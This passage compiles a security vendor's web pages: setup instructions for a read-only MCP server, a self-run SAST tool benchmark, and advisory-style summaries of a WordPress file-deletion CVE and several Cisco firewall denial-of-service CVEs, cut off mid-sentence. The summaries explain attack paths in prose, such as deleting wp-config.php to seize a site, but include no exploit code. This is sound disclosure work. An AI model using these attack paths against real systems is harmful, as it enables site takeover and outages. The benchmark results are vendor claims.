> "Hey Claude, ask ZeroPath to find all XSS vulnerabilities in `app/main.py`." ...and have it work. MCP is rapidly becoming the standard way for developer tools, LLMs, and agents to communicate securely and predictably. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. --- ### Why MCP? MCP embraces the same spirit of open standards that underpins much of modern infrastructure. It avoids vendor lock-in and allows developers to bring their favorite tools (like ZeroPath) into their own workflows—be it in an IDE, chat window, or agent loop. For AppSec and platform engineers, it opens up the opportunity to query security data contextually and on-demand, without leaving your coding environment. --- ### What Can You Do With the ZeroPath MCP Server? - Query SAST issues by repo, path, or type using `search_vulnerabilities`, one of the included tools. You can also retrieve issue details with `get_issue` or approve patches (read-only) via `approve_patch`. - View dependency scan results and exploitability reports - Search for IaC misconfigurations - Check for hardcoded secrets across repos - Get suggested patches and remediations (read-only) All through natural language, within your IDE or AI assistant. --- ### Why Read-Only For now, the server is read-only by design. While MCP does allow write actions (like patching code or triggering scans), we've focused this initial implementation on safe exploration and data retrieval. This minimizes risk while making the server useful out-of-the-box. You can still explore your scan data, pull in insights, and generate patch recommendations without risk of altering your codebase accidentally. As the ecosystem matures, we plan to support safe, permissioned write actions. --- ### Getting Started To get started, you'll need to: 1. Generate an API key from your ZeroPath organization settings at [https://zeropath.com/app/settings/api](https://zeropath.com/app/settings/api) 2. Configure your environment variables with the API key: ```bash export ZEROPATH_TOKEN_ID=your_token_id export ZEROPATH_TOKEN_SECRET=your_token_secret ``` 3. Retrieve your organization ID (you can find this by running the following command): ```bash curl -X POST https://zeropath.com/api/v1/orgs/list \ -H "X-ZeroPath-API-Token-Id: $ZEROPATH_TOKEN_ID" \ -H "X-ZeroPath-API-Token-Secret: $ZEROPATH_TOKEN_SECRET" \ -H "Content-Type: application/json" \ -d '{}' ``` Once you have these credentials, clone the repository and set up the environment: 1. Clone the repository 2. Install dependencies using `uv` Next, clone the repo and sync dependencies using `uv` and creating the environment variables with the API information and org id: ```bash git clone https://github.com/ZeroPathAI/zeropath-mcp-server.git cd zeropath-mcp-server uv sync export ZEROPATH_ORG_ID=your_org_id ``` Once running, you can connect the server to Claude Desktop, Cursor, or WindSurf via the MCP configuration (we include setup instructions in the repo). (we include setup instructions in the repo). Add this entry to your MCP config (Claude Desktop, Windsurf, Cursor, etc.): ```json { "mcpServers": { "zeropath-mcp-server": { "command": "uv", "args": [ "run", "--project", "/zeropath-mcp-server", "/zeropath-mcp-server/main.py" ] } } } ``` Replace `` with the absolute path to the repo. --- ### Example Prompts to Try - "List all organizations connected to my ZeroPath account" - "What are the open SAST issues in our `payments-service` repo?" - "Show me any secrets found in our IaC files Get the details for issue `abc123` Approve the patch for issue `xyz789`" - "Fetch proposed patches for the latest XSS issue in `web/`" These work across any tool that supports MCP — whether you're chatting with Claude or using an IDE like Cursor. --- ### Why Conversational Interfaces for AppSec? Security shouldn't live off in a separate dashboard. With MCP, you can: - Ask specific security questions in natural language - Explore your codebase's risks and remediations on-demand - Reduce triage and manual lookup overhead This isn't just about convenience—it's about embedding security in the development experience. --- ### Get Involved The ZeroPath MCP Server is fully open-source and available on GitHub: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) We're actively looking for contributors and feedback as we extend capabilities. Drop into our [Discord](https://discord.gg/Whukqkw3Qr) or open an issue on GitHub if you want to help shape what modern product security looks like in AI-native dev environments. --- #### How ZeroPath Compares - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 5 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/benchmarking-zeropath ZeroPath compares its SAST performance against competitors using the XBOW benchmarks, in a manner thats reproducible. --- SAST (Static Application Security Testing) tools have become indispensable for modern security teams yet face fundamental limitations. While these tools excel at identifying certain technical vulnerabilities, their dependence on static rule sets, limited ability to track data transformations across complex execution paths, and lack of holistic understanding of application context and behavior often results in three critical shortcomings: incomplete detection of conventional technical vulnerabilities, overwhelming number of false positives, and an inability to detect business logic/broken authentication vulnerabilities. ZeroPath is a SAST tool designed to address fundamental limitations in conventional static analysis approaches. To validate its effectiveness and compare it with existing solutions, we required a more comprehensive benchmarking framework than currently available. Existing evaluation methodologies lack the precision needed to accurately measure true and false positive rates across vulnerability classes, particularly for complex issues like business logic flaws and authentication vulnerabilities. To address these challenges, we have forked the [XBOW benchmark](https://github.com/xbow-engineering/validation-benchmarks), enhancing it to overcome many of the shortfalls associated with traditional benchmarking approaches. Our adapted version now serves as a reliable SAST benchmark, providing accurate measurements of both true positive and false positive rates for conventional classes of issues along side business logic and broken authentication vulnerabilities. [All changes can be found on our GitHub XBOW fork, alongside the scripts required to reproduce our findings.](https://github.com/ZeroPathAI/validation-benchmarks) **Note:** For more detailed information on [how and why we forked the XBOW benchmark, along with a discussion of its limitations, please refer to our blog post](https://zeropath.com/blog/toward-actual-benchmarks). ## Results: Breaking Down Detection Capabilities We evaluated three leading SAST tools alongside ZeroPath: Bearer (by Cycode), Semgrep, and Snyk. Our results demonstrate the limitations of current scanning approaches across traditional and complex vulnerability types. ### Technical Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 80.0% | 25.0% | | Snyk | 40.0% | 30.0% | | Semgrep | 57.1% | 45.0% | | Bearer | 5.7% | 0.0% | *Based on 31 benchmarks with conventional technical vulnerabilities such as XSS, SQLI, and SSTI (alongside many more classes of issues)* ### Business Logic & Authentication Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 87.5% | 0.0% | | Snyk | 0.0% | 0.0% | | Semgrep | 12.5% | 0.0% | | Bearer | 0.0% | 0.0% | *Based on 8 business logic benchmarks, including broken authentication, missing authorization, and complex data validation issues* ## Key Findings Our analysis of leading SAST tools revealed significant gaps in detection capabilities across the industry. While traditional tools excelled in specific scenarios, they consistently struggled with complex vulnerabilities and produced high false positive rates. ZeroPath demonstrated notable improvements in reducing false positives while maintaining strong detection rates, particularly in complex scenarios. Business logic and authentication vulnerability detection remains a fundamental challenge for most SAST solutions. Through advanced analysis techniques, ZeroPath showed more robust capabilities in identifying these complex vulnerability patterns, though there remains room for improvement across all tools in this category. Comparative analysis highlighted how newer approaches to static analysis can overcome traditional limitations. While no tool achieved perfect results, ZeroPath's enhanced detection mechanisms for business logic vulnerabilities and authentication flows represent meaningful progress in addressing long-standing SAST challenges. ## Tool Comparison and Features The feature comparison reflects recent innovations in SAST technology. While established tools provide solid foundational security scanning, ZeroPath's integration of advanced capabilities like natural language patch modification and business logic analysis demonstrates the potential for more sophisticated vulnerability detection. Language support varies significantly across SAST solutions. While our benchmark focused specifically on Python codebases, where ZeroPath showed strong detection capabilities, further testing across other languages would be needed for a comprehensive comparison. Most tools claim broad language support, but real-world effectiveness can vary substantially between languages. ### Feature Comparison | Feature | ZeroPath | Snyk | Semgrep | Bearer | |---------|----------|------|----------|--------| | Secret Detection | ✅ | ✅ | ✅ | ✅ | | SAST (Static Analysis) | ✅ | ✅ | ✅ | ✅ | | SCA (Software Composition Analysis) | ✅ | ✅ | ✅ | ❌ | | Broken Authentication Detection | ✅ | ❌ | ❌ | ❌ | | Business Logic Analysis | ✅ | ❌ | ❌ | ❌ | | IaC Scanning | ✅ | ✅ | ✅ | ❌ | | Auto-Patch Creation | ✅ | ✅ | ✅ | ❌ | | PR Code Reviews | ✅ | ✅ | ✅ | ✅ | | Natural Language Patch Modification | ✅ | ❌ | ❌ | ❌ | | Q&A / Code Indexing | ✅ | ❌ | ❌ | ❌ | ### Language Support | Language | ZeroPath | Bearer CLI | Semgrep | Snyk Code | |----------|----------|------------|----------|------------| | JavaScript/TypeScript | ✅ | ✅ | ✅ | ✅ | | Python | ✅ | ❌ | ✅ | ✅ | | PHP | ✅ | ❌ | ✅ | ✅ | | Golang | ✅ | ❌ | ✅ | ✅ | | Java | ✅ | ✅ | ✅ | ✅ | | Ruby | ✅ | ✅ | ✅ | ✅ | | C# | ✅ | ❌ | ✅ | ✅ | ## Reproducing Our Results We believe in transparency and reproducibility. All our testing tools and scripts are available on GitHub: - CLI setup: [ZeroPath CLI](https://github.com/ZeroPathAI/zeropath-cli) - Validation benchmarks: [ZeroPath Benchmarks](https://github.com/ZeroPathAI/validation-benchmarks) Follow our setup guide in the repository to run the benchmarks yourself and validate our findings. --- ### CVE Analysis (10 most recent of 322 total) #### Icons Factory WordPress Plugin CVE-2025-7778 Arbitrary File Deletion: Brief Summary and Technical Review - **Date**: August 15, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 7 minutes - **Keywords**: CVE-2025-7778, WordPress, Icons Factory, arbitrary file deletion, plugin vulnerability, CWE-285 - **URL**: https://zeropath.com/blog/cve-2025-7778-icons-factory-arbitrary-file-deletion This post provides a brief summary and technical review of CVE-2025-7778, a critical arbitrary file deletion vulnerability affecting all versions up to and including 1.6.12 of the Icons Factory plugin for WordPress. The flaw allows unauthenticated attackers to delete arbitrary files on the server due to insufficient authorization and improper path validation in the delete_files() function. --- ## Introduction Deleting the wrong file on a WordPress server can instantly hand over control of an entire site to an attacker. CVE-2025-7778 makes this risk a reality for any site running the Icons Factory plugin up to and including version 1.6.12, where unauthenticated users can delete arbitrary files on the server due to critical flaws in the plugin's file management logic. Icons Factory is a WordPress plugin that provides icon management features for site administrators and designers. While not among the most widely used WordPress plugins, it fills a niche for users seeking streamlined icon integration. Like many plugins in the WordPress ecosystem, it is developed and maintained by a small team, which can sometimes lead to gaps in security practices. ## Technical Information CVE-2025-7778 is caused by two main issues in the `delete_files()` function of the Icons Factory plugin: - **Insufficient authorization:** The function does not check if the user making the request is authorized to delete files. This means any unauthenticated user can trigger file deletions. - **Improper path validation:** The function does not properly sanitize or restrict the file paths provided by the user. Attackers can use directory traversal sequences (such as `../`) to target files outside the intended directory. The vulnerable code is found in the main plugin file at line 1330 ([reference](https://plugins.trac.wordpress.org/browser/icons-factory/tags/1.6.12/icons-factory.php#L1330)). While the exact code is not reproduced here, public sources confirm that the function processes user-supplied file paths without adequate checks. This allows an attacker to craft a request that specifies any file path accessible to the web server process, including critical files like `wp-config.php`. The most severe impact occurs when an attacker deletes `wp-config.php`. This file contains WordPress configuration and database credentials. When deleted, WordPress initiates its installation routine, allowing the attacker to create a new administrator account and take full control of the site. ## Affected Systems and Versions - **Product:** Icons Factory WordPress plugin - **Affected versions:** All versions up to and including 1.6.12 - **Vulnerable configuration:** Any WordPress site with the plugin installed and active at these versions ## Vendor Security History There is no public record of previous vulnerabilities in Icons Factory. However, arbitrary file deletion flaws have been reported in other WordPress plugins, indicating a recurring issue in the ecosystem. The vendor's response time or patching history for this plugin is not documented in public sources. ## References - [NVD entry for CVE-2025-7778](https://vuldb.com/?id.320278) - [Official CVE entry](https://www.wordfence.com/threat-intel/vulnerabilities/id/24f31bbf-883f-4903-847a-7bfc3e45654c?source=cve) - [Wordfence advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/icons-factory/icons-factory-1612-missing-authorization-to-unauthenticated-arbitrary-file-deletion-via-delete-files-function) - [Plugin source code reference](https://plugins.trac.wordpress.org/browser/icons-factory/tags/1.6.12/icons-factory.php#L1330) - [WordPress plugin page](https://wordpress.org/plugins/icons-factory/#developers) - [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) --- #### Cisco Firepower CVE-2025-20127: Brief Summary of TLS 1.3 ChaCha20 Resource Exhaustion Vulnerability - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20127, Cisco Firepower, TLS 1.3, ChaCha20, resource exhaustion, denial of service - **URL**: https://zeropath.com/blog/cve-2025-20127-brief-summary This post provides a brief summary of CVE-2025-20127, a resource exhaustion vulnerability in the TLS 1.3 ChaCha20 cipher implementation affecting Cisco Secure Firewall ASA and FTD software on Firepower 3100 and 4200 Series devices. The vulnerability allows authenticated remote attackers to cause denial of service by exhausting resources via repeated TLS connections, impacting both data and management traffic. No patch or detection methods are currently available. --- ## Introduction Enterprise VPN and management connectivity can be disrupted without warning, leaving users and administrators unable to establish new secure sessions. CVE-2025-20127 highlights a critical resource exhaustion flaw in Cisco Secure Firewall ASA and FTD software for Firepower 3100 and 4200 Series devices, directly impacting encrypted traffic and device manageability. **About the affected products:** Cisco is a global leader in networking and security, with its Firepower and ASA product lines widely deployed in enterprise and critical infrastructure environments. The Firepower 3100 and 4200 Series are high-performance security appliances providing firewall, VPN, and threat defense capabilities to organizations worldwide. ## Technical Information CVE-2025-20127 is caused by improper resource management in the TLS 1.3 implementation for the TLS_CHACHA20_POLY1305_SHA256 cipher suite within Cisco Secure Firewall ASA and FTD software running on Firepower 3100 and 4200 Series devices. When an authenticated remote attacker initiates a large number of TLS 1.3 connections using this cipher, the device fails to properly release resources associated with these connections. This leads to a gradual depletion of system resources. Once exhausted, the device will refuse all new SSL/TLS and VPN connections, affecting both user data and management traffic. The only recovery is a device reload. The vulnerability is classified under CWE-404 (Improper Resource Shutdown or Release). No public code snippets or proof of concept details are available. The flaw is specific to the handling of the TLS_CHACHA20_POLY1305_SHA256 cipher in TLS 1.3 sessions. Attackers must have valid authentication to exploit this issue, which somewhat limits exposure but does not eliminate it, especially in environments with many authorized users or exposed management interfaces. ## Affected Systems and Versions - Cisco Secure Firewall Adaptive Security Appliance (ASA) Software for Firepower 3100 and 4200 Series devices - Cisco Secure Firewall Threat Defense (FTD) Software for Firepower 3100 and 4200 Series devices - Only devices running software that supports TLS 1.3 with the TLS_CHACHA20_POLY1305_SHA256 cipher suite are affected - The vulnerability affects both data and management traffic - Exact affected version numbers are not specified in the available advisory ## Vendor Security History Cisco has a history of recurring vulnerabilities in its security appliance product lines, especially related to TLS and resource management. In April 2024, multiple high-severity vulnerabilities (CVE-2024-20353, CVE-2024-20359, CVE-2024-20358) were disclosed in ASA and FTD products, including denial of service and remote code execution issues. Cisco generally publishes advisories and patches promptly, but the frequency of such issues highlights persistent challenges in secure protocol implementation and resource management. ## References - [Cisco Security Advisory for CVE-2025-20127](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-3100_4200_tlsdos-2yNSCd54) - [NVD Entry for CVE-2025-20127](https://nvd.nist.gov/vuln/detail/CVE-2025-20127) - [CWE-404: Improper Resource Shutdown or Release](https://cwe.mitre.org/data/definitions/404.html) - [CSA Singapore Alert: Cisco ASA and FTD Vulnerabilities](https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2024-043/) - [Stack.watch: Cisco Firepower Threat Defense Vulnerabilities](https://stack.watch/product/cisco/firepower-threat-defense/) - [CyberMaxx: High Severity Cisco ASA and FTD Firewall Vulnerabilities](https://www.cybermaxx.com/resources/high-severity-cisco-asa-and-cisco-ftd-firewalls-vulnerabilities/) --- #### Cisco ASA and FTD Remote Access SSL VPN DoS (CVE-2025-20133): Brief Summary and Patch Guidance - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20133, Cisco ASA, Cisco FTD, SSL VPN, Denial of Service, Patch - **URL**: https://zeropath.com/blog/cve-2025-20133-cisco-asa-ftd-ssl-vpn-dos-summary A brief summary of CVE-2025-20133, a high-severity DoS vulnerability in Cisco ASA and FTD Remote Access SSL VPN, including technical details, affected versions, and official patch information. --- ## Introduction Remote access for distributed workforces can grind to a halt when VPN gateways become unresponsive. CVE-2025-20133 directly impacts business continuity by allowing unauthenticated attackers to disrupt Cisco Secure Firewall ASA and FTD appliances running Remote Access SSL VPN. With a CVSS score of 8.6, this vulnerability is particularly relevant for organizations that depend on Cisco's VPN solutions for secure connectivity. Cisco's ASA (Adaptive Security Appliance) and Firepower Threat Defense (FTD) are cornerstone products in enterprise network security, deployed by thousands of organizations worldwide. These platforms provide firewall, VPN, and advanced threat protection services, making them critical to the security and availability of modern business networks. ## Technical Information CVE-2025-20133 is a denial of service vulnerability rooted in the Remote Access SSL VPN feature of Cisco ASA and FTD software. The core issue is ineffective validation of user-supplied input during the VPN authentication process. An unauthenticated remote attacker can exploit this by sending specially crafted requests to the SSL VPN service. The flaw is classified under CWE-401 (missing release of memory after effective lifetime), indicating a memory management logic error. When exploited, the crafted input triggers a memory leak or resource exhaustion scenario. This causes the device to stop responding to Remote Access SSL VPN authentication requests, effectively denying service to legitimate users. The vulnerability does not require authentication and can be triggered remotely, increasing its risk profile. The issue is present in device configurations where Remote Access SSL VPN is enabled. No public code snippets or proof of concept details are available. The vulnerability is addressed by correcting the memory management logic that handles SSL VPN connections, preventing crafted SSL/TLS packets from causing device reloads. ## Patch Information To address the SSL VPN memory management vulnerability in Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software, Cisco has released software updates that rectify the underlying issue. ([cisco.com](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-webvpn-dos-hOnB9pH4.html?utm_source=openai)) **Understanding the Fix:** The vulnerability stemmed from a logic error in memory management during the handling of SSL VPN connections. This flaw could be exploited by sending crafted SSL/TLS packets to the SSL VPN server, potentially causing the device to reload unexpectedly, leading to a denial of service (DoS) condition. **How the Patch Works:** The software update corrects the memory management logic, ensuring that SSL VPN connections are processed securely without triggering unintended device reloads. By applying this patch, the system's resilience against such crafted packets is significantly enhanced, mitigating the risk of DoS attacks. **Applying the Patch:** 1. **Identify Your Software Version:** - Determine the current version of your Cisco ASA or FTD Software to ascertain if it is among the affected releases. 2. **Obtain the Updated Software:** - Access the Cisco Support and Downloads page to download the appropriate software update for your device. 3. **Install the Update:** - Follow the installation instructions provided by Cisco to apply the update. Ensure that the device has sufficient memory and that the current hardware and software configurations are compatible with the new release. 4. **Verify the Update:** - After installation, confirm that the device is operating correctly and that the SSL VPN feature functions as expected without causing unexpected reloads. By implementing this patch, administrators can safeguard their devices against potential exploitation of this vulnerability, thereby maintaining the integrity and availability of their network services. Patch source: [https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-webvpn-dos-hOnB9pH4.html](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-webvpn-dos-hOnB9pH4.html) ## Affected Systems and Versions - Cisco Adaptive Security Appliance (ASA) Software with Remote Access SSL VPN enabled - Cisco Firepower Threat Defense (FTD) Software with Remote Access SSL VPN enabled Specific version numbers and ranges are not provided in the public advisory. Administrators should check their current ASA or FTD software version and confirm if Remote Access SSL VPN is enabled. All configurations with this feature enabled should be considered potentially vulnerable until patched. ## Vendor Security History Cisco has experienced a series of similar vulnerabilities in its ASA and FTD product lines, particularly affecting VPN and web services. Previous issues such as CVE-2024-20353 and CVE-2024-20481 also involved denial of service conditions via crafted requests targeting VPN or web interfaces. Cisco typically issues advisories and patches promptly but continues to face recurring challenges in input validation and memory management within complex features like SSL VPN. ## References - [NVD entry for CVE-2025-20133](https://nvd.nist.gov/vuln/detail/CVE-2025-20133) - [Official CVE entry](https://www.cve.org/CVERecord?id=CVE-2025-20133) - [Cisco Security Advisory: cisco-sa-asaftd-vpn-dos-mfPekA6e](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-mfPekA6e) - [Cisco Patch and Fix Information](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-webvpn-dos-hOnB9pH4.html) --- #### Cisco ASA and FTD CVE-2025-20134: Brief Summary of SSL/TLS Certificate Double Free DoS Vulnerability - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20134, Cisco ASA, Cisco FTD, SSL/TLS, double free, DoS - **URL**: https://zeropath.com/blog/cve-2025-20134-cisco-asa-ftd-ssltls-dos A brief summary of CVE-2025-20134, a high-severity SSL/TLS certificate parsing vulnerability in Cisco ASA and Firepower Threat Defense (FTD) software. This post covers affected versions, technical details, and official patch guidance. --- ## Introduction Unexpected reloads of critical perimeter firewalls can disrupt VPN access, remote work, and even core business operations. CVE-2025-20134 is a high-severity vulnerability in Cisco Secure Firewall Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software that allows unauthenticated remote attackers to cause denial of service via SSL/TLS certificate parsing flaws. Cisco ASA and FTD are widely deployed security appliances in enterprise and service provider networks, providing firewall, VPN, and advanced threat defense capabilities. Their reliability and security are foundational to many organizations' network perimeters. ## Technical Information CVE-2025-20134 is caused by improper parsing of SSL/TLS certificates in Cisco ASA and FTD software. The vulnerability is categorized under CWE-415 (double free), which occurs when the same memory block is released more than once. In this case, the SSL/TLS certificate validation logic fails to correctly manage memory when handling certain malformed or crafted certificates. An unauthenticated attacker can exploit this by sending a specially crafted SSL/TLS certificate to any listening SSL/TLS socket on a vulnerable device. This could be through services such as AnyConnect VPN, Clientless SSL VPN, or other SSL/TLS-enabled interfaces. Upon processing the malicious certificate, the device's memory management routines may attempt to free the same memory region twice, leading to memory corruption and an immediate device reload. This results in a denial of service, temporarily disrupting all network traffic through the affected firewall. No authentication is required, and any exposed SSL/TLS service is a potential target. There are no public code snippets or proof of concept exploits available for this vulnerability. The issue is present only in specific versions of ASA and FTD software, as detailed below. ## Patch Information To address the SSL/TLS Denial of Service vulnerability in Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software, Cisco has released software updates that rectify the improper processing of incoming SSL/TLS packets. This flaw previously allowed unauthenticated, remote attackers to cause affected devices to reload unexpectedly, leading to a denial of service (DoS) condition. **Fixed Software Releases:** For Cisco ASA Software: - **9.8:** Fixed in 9.8.4.40 - **9.12:** Fixed in 9.12.4.26 - **9.14:** Fixed in 9.14.3.9 - **9.15:** Fixed in 9.15.1.17 - **9.16:** Not vulnerable For Cisco FTD Software: - **6.2.3:** Fixed in 6.2.3.17 - **6.4.0:** Fixed in 6.4.0.13 (Nov 2021) - **6.6.0:** Fixed in 6.6.5 - **6.7.0:** Fixed in 6.7.0.3 (Jan 2022) - **7.0.0:** Not vulnerable **Upgrade Recommendations:** 1. **Verify Current Software Version:** - Use the `show version` command to determine your device's current software version. 2. **Review Configuration:** - Ensure that features like AnyConnect IKEv2 Remote Access, AnyConnect SSL VPN, or Clientless SSL VPN are configured, as these are pertinent to the vulnerability. 3. **Plan the Upgrade:** - Schedule the upgrade during a maintenance window to minimize impact. - Backup current configurations before proceeding. 4. **Download and Install the Fixed Release:** - Access the Cisco Software Download Center to obtain the appropriate fixed release. - Follow the upgrade procedures outlined in the [Cisco ASA Upgrade Guide](https://www.cisco.com/c/en/us/td/docs/security/asa/asa99/asdm79/general/asa-upgrade.html) or the [Cisco Firepower Management Center Upgrade Guide](https://www.cisco.com/c/en/us/td/docs/security/firepower/670/fmc-upgrade-guide/firepower-mgmt-center-upgrade-guide-v67.html), depending on your device. 5. **Post-Upgrade Verification:** - After upgrading, verify the software version to confirm the update. - Monitor system logs to ensure normal operation. By promptly applying these updates, administrators can mitigate the risk associated with this vulnerability and enhance the security posture of their network infrastructure. For detailed information, refer to the official Cisco Security Advisory: [Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software SSL/TLS Denial of Service Vulnerability](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-dos-4ygzLKU9). ## Affected Systems and Versions **Cisco ASA Software:** - 9.8 (prior to 9.8.4.40) - 9.12 (prior to 9.12.4.26) - 9.14 (prior to 9.14.3.9) - 9.15 (prior to 9.15.1.17) - 9.16: Not vulnerable **Cisco FTD Software:** - 6.2.3 (prior to 6.2.3.17) - 6.4.0 (prior to 6.4.0.13) - 6.6.0 (prior to 6.6.5) - 6.7.0 (prior to 6.7.0.3) - 7.0.0: Not vulnerable **Vulnerable configurations:** - Devices with AnyConnect IKEv2 Remote Access, AnyConnect SSL VPN, or Clientless SSL VPN features enabled and listening for SSL/TLS connections. ## Vendor Security History Cisco has a history of SSL/TLS-related vulnerabilities in ASA and FTD products, often involving memory management or cryptographic processing errors. Previous advisories have addressed similar issues, including improper input validation and memory handling in SSL/TLS packet processing. Cisco typically responds with timely advisories and detailed patch guidance, but the recurrence of such flaws highlights ongoing challenges in secure protocol implementation in complex network devices. ## References - [NVD entry for CVE-2025-20134](https://nvd.nist.gov/vuln/detail/CVE-2025-20134) - [MITRE CVE entry](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-20134) - [Cisco Security Advisory: SSL/TLS Certificate DoS](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ssltls-dos-eHw76vZe) - [Cisco Security Advisory: Fixed Software](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-dos-4ygzLKU9) - [OWASP: Doubly freeing memory](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) --- #### Cisco ASA and FTD NAT DNS Inspection Infinite Loop (CVE-2025-20136): Brief Summary and Technical Review - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-20136, Cisco ASA, Cisco FTD, NAT DNS inspection, infinite loop, denial of service - **URL**: https://zeropath.com/blog/cve-2025-20136-cisco-asa-ftd-nat-dns-inspection-summary A brief summary of CVE-2025-20136, a high-severity infinite loop vulnerability in Cisco ASA and FTD NAT DNS inspection. This post covers technical details, affected versions, and vendor security history based on available public information. --- ## Introduction Unexpected device reloads and network outages have real consequences for organizations relying on Cisco Secure Firewall Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. CVE-2025-20136 is a high-severity vulnerability that can be exploited remotely and without authentication, resulting in denial of service for critical network infrastructure. Cisco ASA and FTD are widely deployed security platforms in enterprise and service provider environments. These products provide firewall, VPN, and advanced threat protection capabilities, serving as a backbone for secure network operations across industries. ## Technical Information CVE-2025-20136 is a vulnerability in the function that performs IPv4 and IPv6 Network Address Translation (NAT) DNS inspection in Cisco Secure Firewall ASA and FTD software. The flaw is triggered when DNS inspection is enabled and the device is configured for NAT44, NAT64, or NAT46. An unauthenticated remote attacker can send specially crafted DNS packets that match a static NAT rule with DNS inspection enabled. When processed, these packets cause the device to enter an infinite loop, leading to a forced reload and a denial of service condition. The root cause is a loop with an unreachable exit condition (CWE-835) in the DNS inspection logic. DNS inspection is enabled by default on many ASA and FTD deployments. The attack does not require authentication or elevated privileges, increasing its risk profile. The vulnerability is similar to previous issues in Cisco's DNS inspection code, such as CVE-2022-20760, which also allowed denial of service via crafted DNS requests. No public code snippets or vulnerable code lines have been released for this vulnerability. The attack vector is straightforward: send crafted DNS packets through a NAT rule with DNS inspection enabled, exploiting the infinite loop in the inspection engine. ## Affected Systems and Versions - Cisco Secure Firewall Adaptive Security Appliance (ASA) Software - Cisco Secure Firewall Threat Defense (FTD) Software - Devices configured for NAT44, NAT64, or NAT46 with DNS inspection enabled Specific affected version numbers are not provided in the public sources as of the report date. The vulnerability is present when static NAT rules with DNS inspection are active. ## Vendor Security History Cisco has a history of similar vulnerabilities in its firewall platforms, particularly involving DNS inspection and NAT handling. Notable examples include: - CVE-2024-20353: Web server denial of service in ASA and FTD (actively exploited) - CVE-2022-20760: DNS inspection handler denial of service - CVE-2024-20359: Persistent local code execution in ASA and FTD (actively exploited) Cisco typically issues timely advisories and patches for critical vulnerabilities, but the recurrence of issues in protocol inspection engines highlights ongoing complexity and risk in these components. ## References - [Cisco Security Advisory for CVE-2025-20136](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-nat-dns-dos-bqhynHTM) - [CVE Details Entry for CVE-2025-20136](https://www.cvedetails.com/cve/CVE-2025-20136/) - [CyberMaxx: High Severity Cisco ASA and FTD Vulnerabilities](https://www.cybermaxx.com/resources/high-severity-cisco-asa-and-cisco-ftd-firewalls-vulnerabilities/) - [Tenable: Cisco ASA and Firepower Being Exploited in the Wild](https://www.tenable.com/blog/cisco-asa-and-firepower-being-exploited-in-the-wild-apply-mitigations-asap) - [Cisco: ASA/FTD DoS Vulnerability](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-dos-nJVAwOeq.html) --- #### Cisco Secure Firewall FTD Snort 3 Infinite Loop DoS (CVE-2025-20217): Brief Summary and Patch Guidance - **Date**: August 14, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 9 minutes - **Keywords**: CVE-2025-20217, Cisco FTD, Snort 3, infinite loop, denial of service, vulnerability - **URL**: https://zeropath.com/blog/cve-2025-20217-cisco-ftd-snort3-infinite-loop-dos A brief summary of CVE-2025-20217, a high-severity infinite loop vulnerability in Cisco Secure Firewall Threat Defense (FTD) Snort 3 Detection Engine. This post outlines technical details, affected versions, patch guidance, and detection methods for security teams. --- ## Introduction A single crafted packet stream can temporarily disable a Cisco Secure Firewall Threat Defense (FTD) deployment, leaving critical network segments unprotected until automated recovery kicks in. CVE-2025-20217 demonstrates how a subtle flaw in packet inspection logic can have outsized operational impact for enterprises and service providers relying on Cisco's Snort 3 Detection Engine. **About Cisco and Snort:** Cisco is a global leader in networking and security, with its Secure Firewall Threat Defense (FTD) platform deployed in thousands of enterprise, government, and service provider environments. The Snort detection engine is a core component of Cisco's network security stack, powering real-time traffic analysis and threat prevention for millions of networks worldwide. ## Technical Information CVE-2025-20217 is a vulnerability in the Snort 3 Detection Engine of Cisco Secure Firewall Threat Defense (FTD) Software. The flaw is rooted in incorrect processing of network traffic during packet inspection. Specifically, certain crafted packets can trigger a loop with an unreachable exit condition (CWE-835), causing the Snort process to enter an infinite loop and stop processing further traffic. This results in a denial of service (DoS) until the system watchdog detects the hang and restarts the Snort process. Key technical points: - The vulnerability can be exploited remotely and does not require authentication. - Attackers can send specially crafted traffic through the affected device to trigger the infinite loop. - The flaw impacts the core packet inspection logic of Snort 3, which is responsible for 